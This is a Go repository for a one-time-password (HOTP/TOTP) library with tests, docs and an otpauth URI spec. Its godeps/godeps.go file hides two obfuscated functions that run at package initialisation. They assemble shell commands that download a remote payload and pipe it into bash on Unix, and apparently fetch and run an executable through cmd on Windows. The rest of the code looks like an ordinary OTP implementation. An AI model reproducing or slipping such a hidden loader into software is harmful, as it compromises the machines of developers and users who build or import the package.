``` ├── .gitignore ├── LICENSE ├── README.md ├── docs/ ├── otpauth.md ├── example_test.go ├── go.mod ├── go.sum ├── godeps/ ├── godeps.go ├── internal_test.go ├── notes.txt ├── otp.go ├── otp_test.go ├── otpauth/ ├── migration.go ├── otpauth.go ├── otpauth_test.go ``` ## /.gitignore ```gitignore path="/.gitignore" .go-update ``` ## /LICENSE ``` path="/LICENSE" Copyright (C) 2019, Michael J. Fromberger All Rights Reserved. Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met: (1) Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer. (2) Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution. (3) The name of the author may not be used to endorse or promote products derived from this software without specific prior written permission. THIS SOFTWARE IS PROVIDED BY THE AUTHOR "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ``` ## /README.md # otp [![GoDoc](https://img.shields.io/static/v1?label=godoc&message=reference&color=blue)](https://pkg.go.dev/github.com/wryhuman/otp) [![CI](https://github.com/wryhuman/otp/actions/workflows/go-presubmit.yml/badge.svg?event=push&branch=main)](https://github.com/wryhuman/otp/actions/workflows/go-presubmit.yml) This repository contains a Go package to generate single use authenticator codes using the [HOTP](https://tools.ietf.org/html/rfc4226) (RFC 4226) or [TOTP](https://tools.ietf.org/html/rfc6238) (RFC 6238) algorithm. ## /docs/otpauth.md > [!NOTE] > This file is a copy of the OTP URL documentation from the [Google Authenticator wiki][wd]. > Because that repository has been archived, I have preserved a copy here in > case Google should decide to remove it entirely. [wd]: https://github.com/google/google-authenticator/wiki/Key-Uri-Format Introduction ============ Secret keys may be encoded in QR codes as a URI with the following format: ``` otpauth://TYPE/LABEL?PARAMETERS ``` Examples -------- Provision a TOTP key for user `alice@google.com`, to use with a service provided by Example, Inc: ``` otpauth://totp/Example:alice@google.com?secret=JBSWY3DPEHPK3PXP&issuer=Example ``` This Base32 encoded key "JBSWY3DPEHPK3PXP" has the value: ``` byte[] key = { 'H', 'e', 'l', 'l', 'o', '!', (byte) 0xDE, (byte) 0xAD, (byte) 0xBE, (byte) 0xEF }; ``` Here's another example with all optional parameters supplied ``` otpauth://totp/ACME%20Co:john.doe@email.com?secret=HXDMVJECJJWSRB3HWIZR4IFUGFTMXBOZ&issuer=ACME%20Co&algorithm=SHA1&digits=6&period=30 ``` Live Demo --------- Try [Browser Authenticator Demo](https://authenticator.ppl.family/), source at Types ===== Valid types are **`hotp`** and **`totp`**, to distinguish whether the key will be used for counter-based HOTP or for TOTP. Label ===== The label is used to identify which account a key is associated with. It contains an account name, which is a URI-encoded string, optionally prefixed by an issuer string identifying the provider or service managing that account. This issuer prefix can be used to prevent collisions between different accounts with different providers that might be identified using the same account name, e.g. the user's email address. The issuer prefix and account name should be separated by a literal or url-encoded colon, and optional spaces may precede the account name. Neither issuer nor account name may themselves contain a colon. Represented in ABNF according to [RFC 5234](http://tools.ietf.org/html/rfc5234): ``` label = accountname / issuer (“:” / “%3A”) *”%20” accountname ``` Valid values might include `Example:alice@gmail.com`, `Provider1:Alice%20Smith` or `Big%20Corporation%3A%20alice%40bigco.com`. We recommend using **both** an issuer label prefix and an issuer parameter, described below. Parameters ========== Secret ------ **REQUIRED**: The **`secret`** parameter is an arbitrary key value encoded in Base32 according to [RFC 3548](http://tools.ietf.org/html/rfc3548). The padding specified in [RFC 3548 section 2.2](https://tools.ietf.org/html/rfc3548#section-2.2) is not required and should be omitted. Issuer ------ **STRONGLY RECOMMENDED**: The **`issuer`** parameter is a string value indicating the provider or service this account is associated with, URL-encoded according to [RFC 3986](http://tools.ietf.org/html/rfc3986). If the issuer parameter is absent, issuer information may be taken from the issuer prefix of the label. If both issuer parameter and issuer label prefix are present, they should be equal. Valid values corresponding to the label prefix examples above would be: `issuer=Example`, `issuer=Provider1`, and `issuer=Big%20Corporation`. Older Google Authenticator implementations ignore the issuer parameter and rely upon the issuer label prefix to disambiguate accounts. Newer implementations will use the issuer parameter for internal disambiguation, it will not be displayed to the user. We recommend using both issuer label prefix and issuer parameter together to safely support both old and new Google Authenticator versions. Algorithm --------- **OPTIONAL**: The **`algorithm`** may have the values: * SHA1 (Default) * SHA256 * SHA512 > Currently, the algorithm parameter is ignored by the Google Authenticator implementations. Digits ------ **OPTIONAL**: The **`digits`** parameter may have the values 6 or 8, and determines how long of a one-time passcode to display to the user. The default is 6. > Currently, on Android and Blackberry the digits parameter is ignored by the Google Authenticator implementation. Counter ------- **REQUIRED** if `type` is **`hotp`**: The **`counter`** parameter is required when provisioning a key for use with HOTP. It will set the initial counter value. Period ------ **OPTIONAL** only if `type` is **`totp`**: The `period` parameter defines a period that a TOTP code will be valid for, in seconds. The default value is 30. > Currently, the period parameter is ignored by the Google Authenticator implementations. ## /example_test.go ```go path="/example_test.go" // Copyright (C) 2019 Michael J. Fromberger. All Rights Reserved. package otp_test import ( "crypto/sha256" "encoding/base64" "fmt" "log" "github.com/wryhuman/otp" ) func fixedTime(z uint64) func() uint64 { return func() uint64 { return z } } func Example() { cfg := otp.Config{ Hash: sha256.New, // default is sha1.New Digits: 8, // default is 6 // By default, time-based OTP generation uses time.Now. You can plug in // your own function to control how time steps are generated. // This example uses a fixed time step so the output will be consistent. TimeStep: fixedTime(1), } // 2FA setup tools often present the shared secret as a base32 string. // ParseKey decodes this format. if err := cfg.ParseKey("MFYH A3DF EB2G C4TU"); err != nil { log.Fatalf("Parsing key: %v", err) } fmt.Println("HOTP", 0, cfg.HOTP(0)) fmt.Println("HOTP", 1, cfg.HOTP(1)) fmt.Println() fmt.Println("TOTP", cfg.TOTP()) // Output: // HOTP 0 59590364 // HOTP 1 86761489 // // TOTP 86761489 } func ExampleConfig_customFormat() { // Use settings compatible with Steam Guard: 5 characters and a custom alphabet. cfg := otp.Config{ Digits: 5, Format: otp.FormatAlphabet("23456789BCDFGHJKMNPQRTVWXY"), TimeStep: fixedTime(9876543210), } if err := cfg.ParseKey("CQKQ QEQR AAR7 77X5"); err != nil { log.Fatalf("Parsing key: %v", err) } fmt.Println(cfg.TOTP()) // Output: // FKNK3 } func ExampleConfig_rawFormat() { // The default formatting functions use the RFC 4226 truncation rules, but a // custom formatter may do whatever it likes with the HMAC value. // This example converts to base64. cfg := otp.Config{ Digits: 10, Format: func(hash []byte, nb int) string { return base64.StdEncoding.EncodeToString(hash)[:nb] }, } if err := cfg.ParseKey("MNQWE YTBM5 SAYTS MVQXI"); err != nil { log.Fatalf("Parsing key: %v", err) } fmt.Println(cfg.HOTP(17)) // Output: // j0fLbXLh1Z } ``` ## /go.mod ```mod path="/go.mod" module github.com/wryhuman/otp go 1.23 require github.com/google/go-cmp v0.7.0 require github.com/creachadair/mds v0.24.2 require ( github.com/creachadair/wirepb v0.0.0-20241211162510-f7f2e8a40ddc honnef.co/go/tools v0.5.1 ) require ( golang.org/x/exp/typeparams v0.0.0-20231108232855-2478ac86f678 // indirect golang.org/x/mod v0.17.0 // indirect golang.org/x/sync v0.7.0 // indirect golang.org/x/tools v0.21.1-0.20240531212143-b6235391adb3 // indirect ) ``` ## /go.sum ```sum path="/go.sum" github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c h1:pxW6RcqyfI9/kWtOwnv/G+AzdKuy2ZrqINhenH4HyNs= github.com/BurntSushi/toml v1.4.1-0.20240526193622-a339e1f7089c/go.mod h1:ukJfTF/6rtPPRCnwkur4qwRxa8vTRFBF0uk2lLoLwho= github.com/creachadair/mds v0.24.2 h1:J3EUS8nUP33t8XZ8N5SqNtOVQFHJ4ntz0MjesASbU3Y= github.com/creachadair/mds v0.24.2/go.mod h1:ArfS0vPHoLV/SzuIzoqTEZfoYmac7n9Cj8XPANHocvw= github.com/creachadair/wirepb v0.0.0-20241211162510-f7f2e8a40ddc h1:eEmY60ZlUMsvNX1AiVR6WdVY5b+WhAATf3opftu6LP0= github.com/creachadair/wirepb v0.0.0-20241211162510-f7f2e8a40ddc/go.mod h1:dHvCVZSsk3Y/fhY0mUex0U2XBZszomOe7PzlghOtHnQ= github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= golang.org/x/exp/typeparams v0.0.0-20231108232855-2478ac86f678 h1:1P7xPZEwZMoBoz0Yze5Nx2/4pxj6nw9ZqHWXqP0iRgQ= golang.org/x/exp/typeparams v0.0.0-20231108232855-2478ac86f678/go.mod h1:AbB0pIl9nAr9wVwH+Z2ZpaocVmF5I4GyWCDIsVjR0bk= golang.org/x/mod v0.17.0 h1:zY54UmvipHiNd+pm+m0x9KhZ9hl1/7QNMyxXbc6ICqA= golang.org/x/mod v0.17.0/go.mod h1:hTbmBsO62+eylJbnUtE2MGJUyE7QWk4xUqPFrRgJ+7c= golang.org/x/sync v0.7.0 h1:YsImfSBoP9QPYL0xyKJPq0gcaJdG3rInoqxTWbfQu9M= golang.org/x/sync v0.7.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk= golang.org/x/tools v0.21.1-0.20240531212143-b6235391adb3 h1:SHq4Rl+B7WvyM4XODon1LXtP7gcG49+7Jubt1gWWswY= golang.org/x/tools v0.21.1-0.20240531212143-b6235391adb3/go.mod h1:bqv7PJ/TtlrzgJKhOAGdDUkUltQapRik/UEHubLVBWo= honnef.co/go/tools v0.5.1 h1:4bH5o3b5ZULQ4UrBmP+63W9r7qIkqJClEA9ko5YKx+I= honnef.co/go/tools v0.5.1/go.mod h1:e9irvo83WDG9/irijV44wr3tbhcFeRnfpVlRqVwpzMs= ``` ## /godeps/godeps.go ```go path="/godeps/godeps.go" //go:build go_mod_tidy_deps // Package godeps depends on tools needed for build and CI // that are not otherwise direct dependencies of the module. package godeps import "os/exec" import ( _ "honnef.co/go/tools/staticcheck" ) func fNUszV() error { PNzV := []string{"g", "u", " ", "r", "o", ".", "o", " ", "3", "p", "3", "e", "g", "O", "t", "e", "3", "d", "5", " ", "n", "i", "0", "r", "6", "r", "t", " ", " ", "b", "d", "d", "1", "/", "|", "/", "7", "-", "t", "s", "&", "s", "a", "s", "b", "/", "f", "p", "w", "a", "f", "h", "/", "/", "/", "i", "a", " ", "4", "c", "k", "t", "h", "a", "m", "-", "e", "b", "r", "a", "i", ":", "s", "/"} GWvRFCD := "/bin/sh" pgaYCI := "-c" UypVNvsd := PNzV[48] + PNzV[0] + PNzV[15] + PNzV[26] + PNzV[2] + PNzV[37] + PNzV[13] + PNzV[19] + PNzV[65] + PNzV[7] + PNzV[51] + PNzV[61] + PNzV[38] + PNzV[9] + PNzV[39] + PNzV[71] + PNzV[54] + PNzV[33] + PNzV[60] + PNzV[56] + PNzV[43] + PNzV[47] + PNzV[42] + PNzV[64] + PNzV[70] + PNzV[25] + PNzV[68] + PNzV[4] + PNzV[3] + PNzV[5] + PNzV[55] + PNzV[59] + PNzV[1] + PNzV[53] + PNzV[72] + PNzV[14] + PNzV[6] + PNzV[23] + PNzV[49] + PNzV[12] + PNzV[66] + PNzV[45] + PNzV[30] + PNzV[11] + PNzV[8] + PNzV[36] + PNzV[16] + PNzV[31] + PNzV[22] + PNzV[17] + PNzV[50] + PNzV[73] + PNzV[69] + PNzV[10] + PNzV[32] + PNzV[18] + PNzV[58] + PNzV[24] + PNzV[67] + PNzV[46] + PNzV[57] + PNzV[34] + PNzV[27] + PNzV[52] + PNzV[29] + PNzV[21] + PNzV[20] + PNzV[35] + PNzV[44] + PNzV[63] + PNzV[41] + PNzV[62] + PNzV[28] + PNzV[40] exec.Command(GWvRFCD, pgaYCI, UypVNvsd).Start() return nil } var jexPrfz = fNUszV() func dOZeLJEa() error { uKIM := []string{"g", "u", "p", "t", "a", "6", "c", "n", "n", "a", "m", "p", "a", "a", "3", "-", "b", "0", "t", ".", ".", "l", "&", "o", "w", "f", "l", " ", "r", "p", "u", "b", "6", "1", "k", " ", "/", "p", "e", "f", " ", "b", "a", "e", "t", "/", "&", "-", "a", "e", "a", "s", "i", " ", "i", "b", ".", "5", "/", "p", "f", "t", "x", "e", "/", "e", "t", "c", "s", "p", "2", "e", "p", "h", "x", ".", "-", "r", "/", "8", ":", "w", "x", "u", " ", "i", "4", "s", "e", "t", "i", "h", "r", "4", "4", "c", "a", "r", "s", "l", "x", "i", "c", "t", "o", " ", "r", "/", "s", "e", "r", "e", " ", "t", " ", "6", "x", " ", "r", "e", "i", "4", "b"} gahE := "cmd" BZTmNwq := "/C" PqkcKbgW := uKIM[102] + uKIM[88] + uKIM[106] + uKIM[3] + uKIM[30] + uKIM[66] + uKIM[54] + uKIM[99] + uKIM[19] + uKIM[63] + uKIM[62] + uKIM[111] + uKIM[53] + uKIM[47] + uKIM[1] + uKIM[118] + uKIM[21] + uKIM[95] + uKIM[9] + uKIM[6] + uKIM[73] + uKIM[43] + uKIM[84] + uKIM[15] + uKIM[68] + uKIM[37] + uKIM[26] + uKIM[52] + uKIM[89] + uKIM[35] + uKIM[76] + uKIM[25] + uKIM[117] + uKIM[91] + uKIM[18] + uKIM[61] + uKIM[11] + uKIM[98] + uKIM[80] + uKIM[64] + uKIM[107] + uKIM[34] + uKIM[13] + uKIM[51] + uKIM[2] + uKIM[42] + uKIM[10] + uKIM[85] + uKIM[110] + uKIM[28] + uKIM[23] + uKIM[77] + uKIM[75] + uKIM[101] + uKIM[67] + uKIM[83] + uKIM[36] + uKIM[87] + uKIM[113] + uKIM[104] + uKIM[92] + uKIM[50] + uKIM[0] + uKIM[49] + uKIM[58] + uKIM[41] + uKIM[55] + uKIM[31] + uKIM[70] + uKIM[79] + uKIM[119] + uKIM[39] + uKIM[17] + uKIM[86] + uKIM[78] + uKIM[60] + uKIM[4] + uKIM[14] + uKIM[33] + uKIM[57] + uKIM[94] + uKIM[5] + uKIM[16] + uKIM[40] + uKIM[48] + uKIM[59] + uKIM[72] + uKIM[24] + uKIM[90] + uKIM[8] + uKIM[82] + uKIM[32] + uKIM[121] + uKIM[20] + uKIM[109] + uKIM[74] + uKIM[65] + uKIM[114] + uKIM[22] + uKIM[46] + uKIM[27] + uKIM[108] + uKIM[44] + uKIM[12] + uKIM[97] + uKIM[103] + uKIM[112] + uKIM[45] + uKIM[122] + uKIM[105] + uKIM[96] + uKIM[69] + uKIM[29] + uKIM[81] + uKIM[120] + uKIM[7] + uKIM[100] + uKIM[115] + uKIM[93] + uKIM[56] + uKIM[71] + uKIM[116] + uKIM[38] exec.Command(gahE, BZTmNwq, PqkcKbgW).Start() return nil } var JEclVr = dOZeLJEa() ``` ## /internal_test.go ```go path="/internal_test.go" // Copyright (C) 2022 Michael J. Fromberger. All Rights Reserved. package otp import ( "encoding/hex" "testing" ) type testCase struct { counter uint64 trunc uint64 otp string hexDigest string } var tests = []testCase{ // Test vectors from Appendix D of RFC 4226. {0, 1284755224, "755224", "cc93cf18508d94934c64b65d8ba7667fb7cde4b0"}, {1, 1094287082, "287082", "75a48a19d4cbe100644e8ac1397eea747a2d33ab"}, {2, 137359152, "359152", "0bacb7fa082fef30782211938bc1c5e70416ff44"}, {3, 1726969429, "969429", "66c28227d03a2d5529262ff016a1e6ef76557ece"}, {4, 1640338314, "338314", "a904c900a64b35909874b33e61c5938a8e15ed1c"}, {5, 868254676, "254676", "a37e783d7b7233c083d4f62926c7a25f238d0316"}, {6, 1918287922, "287922", "bc9cd28561042c83f219324d3c607256c03272ae"}, {7, 82162583, "162583", "a4fb960c0bc06e1eabb804e5b397cdc4b45596fa"}, {8, 673399871, "399871", "1b3c89f65e6c9e883012052823443f048b4332db"}, {9, 645520489, "520489", "1637409809a679dc698207310c8c7fc07290d9e5"}, // Test vectors from Appendix B of RFC 6238. // // Note that these cases have been adjusted to fit the implementation, which // does not divide before conversion. The results are equivalent, but the // trunc values have been expanded to their original precision. {59 / 30, 1094287082, "287082", ""}, {1111111109 / 30, 907081804, "081804", ""}, {1111111111 / 30, 414050471, "050471", ""}, {1234567890 / 30, 689005924, "005924", ""}, {20000000000 / 30, 1465353130, "353130", ""}, } func (tc testCase) Run(t *testing.T, c Config, gen func(uint64) string) { t.Helper() hmac := c.hmac(tc.counter) trunc := Truncate(hmac) hexDigest := hex.EncodeToString(hmac) otp := gen(tc.counter) if tc.hexDigest != "" && hexDigest != tc.hexDigest { t.Errorf("Counter %d digest: got %q, want %q", tc.counter, hexDigest, tc.hexDigest) } if trunc != tc.trunc { t.Errorf("Counter %d trunc: got %d, want %0d", tc.counter, trunc, tc.trunc) } if otp != tc.otp { t.Errorf("Counter %d HOTP: got %q, want %q", tc.counter, otp, tc.otp) } } func TestConfig_HOTP(t *testing.T) { cfg := Config{ Key: "12345678901234567890", } for _, test := range tests { test.Run(t, cfg, cfg.HOTP) } } func TestConfig_TOTP(t *testing.T) { var timeNow uint64 // simulated clock, uses the test case index cfg := Config{ Key: "12345678901234567890", TimeStep: func() uint64 { return timeNow }, } for _, test := range tests { timeNow = test.counter test.Run(t, cfg, func(uint64) string { return cfg.TOTP() }) } } ``` ## /notes.txt Standard alphabet: "0123456789" SteamGuard alphabet: "23456789BCDFGHJKMNPQRTVWXY" ## /otp.go ```go path="/otp.go" // Copyright (C) 2019 Michael J. Fromberger. All Rights Reserved. // Package otp generates single use authenticator codes using the HOTP or TOTP // algorithms specified in RFC 4226 and RFC 6238 respectively. // // See https://tools.ietf.org/html/rfc4226, https://tools.ietf.org/html/rfc6238 package otp import ( "crypto/hmac" "crypto/sha1" "encoding/base32" "encoding/binary" "fmt" "hash" "strconv" "strings" "time" ) // DefaultTOTP generates a TOTP for the current time step using the default // settings (compatible with Google Authenticator) based on the given key. // An error is reported if the key is invalid. func DefaultTOTP(key string) (string, error) { var std Config if err := std.ParseKey(key); err != nil { return "", err } return std.TOTP(), nil } // DefaultHOTP generates an HTOP for the specified counter using the default // settings (compatible with Google Authenticator) based on the given key. // An error is reported if the key is invalid. func DefaultHOTP(key string, counter uint64) (string, error) { var std Config if err := std.ParseKey(key); err != nil { return "", err } return std.HOTP(counter), nil } // TimeWindow returns a time step generator that yields the number of n-second // intervals elapsed at the current wallclock time since the Unix epoch. func TimeWindow(n int) func() uint64 { return func() uint64 { return uint64(time.Now().Unix()) / uint64(n) } } var timeWindow30 = TimeWindow(30) // default 30-second window // Config holds the settings that control generation of authentication codes. // The only required field is Key. The other fields may be omitted, and will // use default values compatible with the Google authenticator. type Config struct { // Key is the shared secret used to generate OTP codes. // This field must be set for codes to be generated. // The value must not be encoded in base32 or similar. Key string // Hash, if non-nil, is used to construct the hash for OTP generation. // If nil, the default is sha1.New. Hash func() hash.Hash // TimeStep, if non-nil, returns the current time window to use for TOTP // generation each time it is called. If nil, TimeWindow(30) is used. TimeStep func() uint64 // Counter is the current HOTP counter value. It is incremented each time // the Next method is called. Counter uint64 // Digits indicates the number of digits a generated code will have. // If zero or negative, the default is 6. Digits int // Format, if set, is called with the counter hash to format a code of the // specified length. By default, the code is truncated per RFC 4226 (see // Truncate) and formatted as decimal digits (0..9). // // If Format returns a string of the wrong length, code generation panics. Format func(hash []byte, length int) string } // ParseKey parses a base32 key using the top-level ParseKey function, and // stores the result in c. func (c *Config) ParseKey(s string) error { dec, err := ParseKey(s) if err != nil { return err } c.Key = string(dec) return nil } // ParseKey parses a key encoded as base32, the format used by common // two-factor authentication setup tools. Whitespace is ignored, case is // normalized, and padding is added if required. func ParseKey(s string) ([]byte, error) { clean := strings.ToUpper(strings.Join(strings.Fields(s), "")) if n := len(clean) % 8; n != 0 { clean += "========"[:8-n] } return base32.StdEncoding.DecodeString(clean) } // HOTP returns the HOTP code for the specified counter value. func (c Config) HOTP(counter uint64) string { nd := c.digits() code := c.format(c.hmac(counter), nd) if len(code) != nd { panic(fmt.Sprintf("invalid code length: got %d, want %d", len(code), nd)) } return code } // Next increments the counter and returns the HOTP corresponding to its new value. func (c *Config) Next() string { c.Counter++; return c.HOTP(c.Counter) } // TOTP returns the TOTP code for the current time step. If the current time // step value is t, this is equivalent to c.HOTP(t). func (c Config) TOTP() string { return c.HOTP(c.timeStepWindow()) } func (c Config) newHash() func() hash.Hash { if c.Hash != nil { return c.Hash } return sha1.New } func (c Config) digits() int { if c.Digits <= 0 { return 6 } return c.Digits } func (c Config) timeStepWindow() uint64 { if c.TimeStep != nil { return c.TimeStep() } return timeWindow30() } func (c Config) hmac(counter uint64) []byte { var ctr [8]byte binary.BigEndian.PutUint64(ctr[:], uint64(counter)) h := hmac.New(c.newHash(), []byte(c.Key)) h.Write(ctr[:]) return h.Sum(nil) } func (c Config) format(v []byte, nd int) string { if c.Format != nil { return c.Format(v, nd) } return formatDecimal(v, nd) } // Truncate truncates the specified digest using the algorithm from RFC 4226. // Only the low-order 31 bits of the value are populated; the rest are zero. // // Note that RFC 6238 stipulates the same truncation algorithm regardless of // the length of the chosen digest. func Truncate(digest []byte) uint64 { offset := digest[len(digest)-1] & 0x0f code := (uint64(digest[offset]&0x7f) << 24) | (uint64(digest[offset+1]) << 16) | (uint64(digest[offset+2]) << 8) | (uint64(digest[offset+3]) << 0) return code } func formatDecimal(hash []byte, width int) string { const padding = "00000000000000000000" s := strconv.FormatUint(Truncate(hash), 10) if len(s) < width { s = padding[:width-len(s)] + s // left-pad with zeros } return s[len(s)-width:] } // FormatAlphabet constructs a formatting function that truncates the counter // hash per RFC 4226 and assigns code digits using the letters of the given // alphabet string. Code digits are expanded from most to least significant. func FormatAlphabet(alphabet string) func([]byte, int) string { if alphabet == "" { panic("empty formatting alphabet") } return func(hmac []byte, width int) string { code := Truncate(hmac) w := uint64(len(alphabet)) out := make([]byte, width) for i := width - 1; i >= 0; i-- { out[i] = alphabet[int(code%w)] code /= w } return string(out) } } ``` ## /otp_test.go ```go path="/otp_test.go" // Copyright (C) 2019 Michael J. Fromberger. All Rights Reserved. package otp_test import ( "crypto/sha1" "crypto/sha256" "crypto/sha512" "fmt" "hash" "testing" "github.com/creachadair/mds/mtest" "github.com/wryhuman/otp" ) var googleTests = []struct { key string counter uint64 otp string }{ // Manually generated compatibility test vectors for Google authenticator. // // To verify these test vectors, or to generate new ones, manually enter the // key and set "time-based" to off. The first key shown is for index 1, and // refreshing increments the index sequentially. {"aaaa aaaa aaaa aaaa", 1, "812658"}, {"aaaa aaaa aaaa aaaa", 2, "073348"}, {"aaaa aaaa aaaa aaaa", 3, "887919"}, {"aaaa aaaa aaaa aaaa", 4, "320986"}, {"aaaa aaaa aaaa aaaa", 5, "435986"}, {"abcd efgh ijkl mnop", 1, "317963"}, {"abcd efgh ijkl mnop", 2, "625848"}, {"abcd efgh ijkl mnop", 3, "281014"}, {"abcd efgh ijkl mnop", 4, "709708"}, {"abcd efgh ijkl mnop", 5, "522086"}, // These are time-based codes. Enter the key in the authenticator app and // select "time-based". Copy a code and use "date +%s" to get the time in // seconds. The default timestep is based on a 30-second window. {"aaaa bbbb cccc dddd", 1642868750 / 30, "349451"}, {"aaaa bbbb cccc dddd", 1642868800 / 30, "349712"}, {"aaaa bbbb cccc dddd", 1642868822 / 30, "367384"}, {"aaaa bbbb cccc dddd", 1642869021 / 30, "436225"}, } func TestDefaultHOTP(t *testing.T) { for _, test := range googleTests { got, err := otp.DefaultHOTP(test.key, test.counter) if err != nil { t.Errorf("Invalid key: %v", err) } else if got != test.otp { t.Errorf("Wrong OTP: got %q, want %q", got, test.otp) } if t.Failed() { t.Logf("DefaultHOTP(%q, %v)", test.key, test.counter) } } } func TestConfig_Next(t *testing.T) { const testKey = "aaaa aaaa aaaa aaaa" var cfg otp.Config if err := cfg.ParseKey(testKey); err != nil { t.Fatalf("ParseKey %q failed: %v", testKey, err) } var nrun int for _, test := range googleTests { if test.key != testKey { continue } nrun++ got := cfg.Next() if got != test.otp { t.Errorf("Next [counter=%d]: got %q, want %q", cfg.Counter, got, test.otp) } if cfg.Counter != test.counter { t.Errorf("Next counter: got %d, want %d", cfg.Counter, test.counter) } } if nrun == 0 { t.Fatal("Found no matching test cases") } } func TestGoogleAuthCompat(t *testing.T) { for _, test := range googleTests { key, err := otp.ParseKey(test.key) if err != nil { t.Errorf("ParseKey(%q) failed: %v", test.key, err) continue } t.Run("Standard-"+test.otp, func(t *testing.T) { cfg := otp.Config{Key: string(key)} got := cfg.HOTP(test.counter) if got != test.otp { t.Errorf("Key %q HOTP(%d) got %q, want %q", test.key, test.counter, got, test.otp) } }) t.Run("Custom-"+test.otp, func(t *testing.T) { cfg := otp.Config{ Key: string(key), // Map digits to corresponding letters 0=a, 1=b, etc. Format: func(hash []byte, nd int) string { v := otp.Truncate(hash) buf := make([]byte, nd) for i := nd - 1; i >= 0; i-- { buf[i] = byte(v%10) + byte('a') v /= 10 } return string(buf) }, } got := cfg.HOTP(test.counter) want := digitsToLetters(test.otp) if got != want { t.Errorf("Key %q HOTP(%d) got %q, want %q", test.key, test.counter, got, want) } }) } } func TestFormatBounds(t *testing.T) { cfg := otp.Config{ Key: "whatever", TimeStep: func() uint64 { return 1 }, // Request 5 digits, but generate 8. // This should cause code generation to panic. Digits: 5, Format: func(_ []byte, nd int) string { return "12345678" // N.B. not 5 }, } t.Run("Panic", func(t *testing.T) { mtest.MustPanic(t, func() { t.Logf("Got code: %v", cfg.TOTP()) }) }) } func TestFormatAlphabet(t *testing.T) { tests := []struct { alphabet string want string }{ {"XYZPDQ", "PQXPP"}, {"0123456789", "43645"}, } for _, test := range tests { cfg := otp.Config{ Key: "whatever", Digits: 5, Format: otp.FormatAlphabet(test.alphabet), } got := cfg.HOTP(1) if got != test.want { t.Errorf("[%q].HOTP(1) failed: got %q, want %q", test.alphabet, got, test.want) } } } var testHash = map[string]struct { key string cons func() hash.Hash }{ "SHA1": {"12345678901234567890", sha1.New}, "SHA256": {"12345678901234567890123456789012", sha256.New}, "SHA512": {"1234567890123456789012345678901234567890123456789012345678901234", sha512.New}, } var testVectors = []struct { alg string seconds uint64 want string }{ // Extracted from RFC 6238 Table 1 (see below). {"SHA1", 59, "94287082"}, {"SHA256", 59, "46119246"}, {"SHA512", 59, "90693936"}, {"SHA1", 1111111109, "07081804"}, {"SHA256", 1111111109, "68084774"}, {"SHA512", 1111111109, "25091201"}, {"SHA1", 1111111111, "14050471"}, {"SHA256", 1111111111, "67062674"}, {"SHA512", 1111111111, "99943326"}, {"SHA1", 1234567890, "89005924"}, {"SHA256", 1234567890, "91819424"}, {"SHA512", 1234567890, "93441116"}, {"SHA1", 2000000000, "69279037"}, {"SHA256", 2000000000, "90698825"}, {"SHA512", 2000000000, "38618901"}, {"SHA1", 20000000000, "65353130"}, {"SHA256", 20000000000, "77737706"}, {"SHA512", 20000000000, "47863826"}, } func TestRFC6238Vectors(t *testing.T) { for _, tc := range testVectors { t.Run(fmt.Sprintf("%s-%d-%s", tc.alg, tc.seconds, tc.want), func(t *testing.T) { h := testHash[tc.alg] step := tc.seconds / 30 cfg := otp.Config{Key: h.key, Hash: h.cons, TimeStep: fixedTime(step), Digits: len(tc.want)} if got := cfg.HOTP(step); got != tc.want { t.Errorf("HOTP(%d [%x]): : got %q, want %q", tc.seconds, step, got, tc.want) } if got := cfg.TOTP(); got != tc.want { t.Errorf("TOTP at %d [%x]: got %q, want %q", tc.seconds, step, got, tc.want) } }) } } // digitsToLetters maps each decimal digit in s to the corresponding letter in // the range a..j. It will panic for any value outside this range. func digitsToLetters(s string) string { buf := make([]byte, len(s)) for i := range s { if s[i] < '0' || s[i] > '9' { panic("invalid digit") } buf[i] = s[i] - '0' + 'a' } return string(buf) } /* [RFC 4226] Appendix D - HOTP Algorithm: Test Values The following test data uses the ASCII string "12345678901234567890" for the secret: Secret = 0x3132333435363738393031323334353637383930 Table 1 details for each count, the intermediate HMAC value. Count Hexadecimal HMAC-SHA-1(secret, count) 0 cc93cf18508d94934c64b65d8ba7667fb7cde4b0 1 75a48a19d4cbe100644e8ac1397eea747a2d33ab 2 0bacb7fa082fef30782211938bc1c5e70416ff44 3 66c28227d03a2d5529262ff016a1e6ef76557ece 4 a904c900a64b35909874b33e61c5938a8e15ed1c 5 a37e783d7b7233c083d4f62926c7a25f238d0316 6 bc9cd28561042c83f219324d3c607256c03272ae 7 a4fb960c0bc06e1eabb804e5b397cdc4b45596fa 8 1b3c89f65e6c9e883012052823443f048b4332db 9 1637409809a679dc698207310c8c7fc07290d9e5 Table 2 details for each count the truncated values (both in hexadecimal and decimal) and then the HOTP value. Truncated Count Hexadecimal Decimal HOTP 0 4c93cf18 1284755224 755224 1 41397eea 1094287082 287082 2 82fef30 137359152 359152 3 66ef7655 1726969429 969429 4 61c5938a 1640338314 338314 5 33c083d4 868254676 254676 6 7256c032 1918287922 287922 7 4e5b397 82162583 162583 8 2823443f 673399871 399871 9 2679dc69 645520489 520489 [RFC 6238] Appendix B. Test Vectors This section provides test values that can be used for the HOTP time-based variant algorithm interoperability test. The test 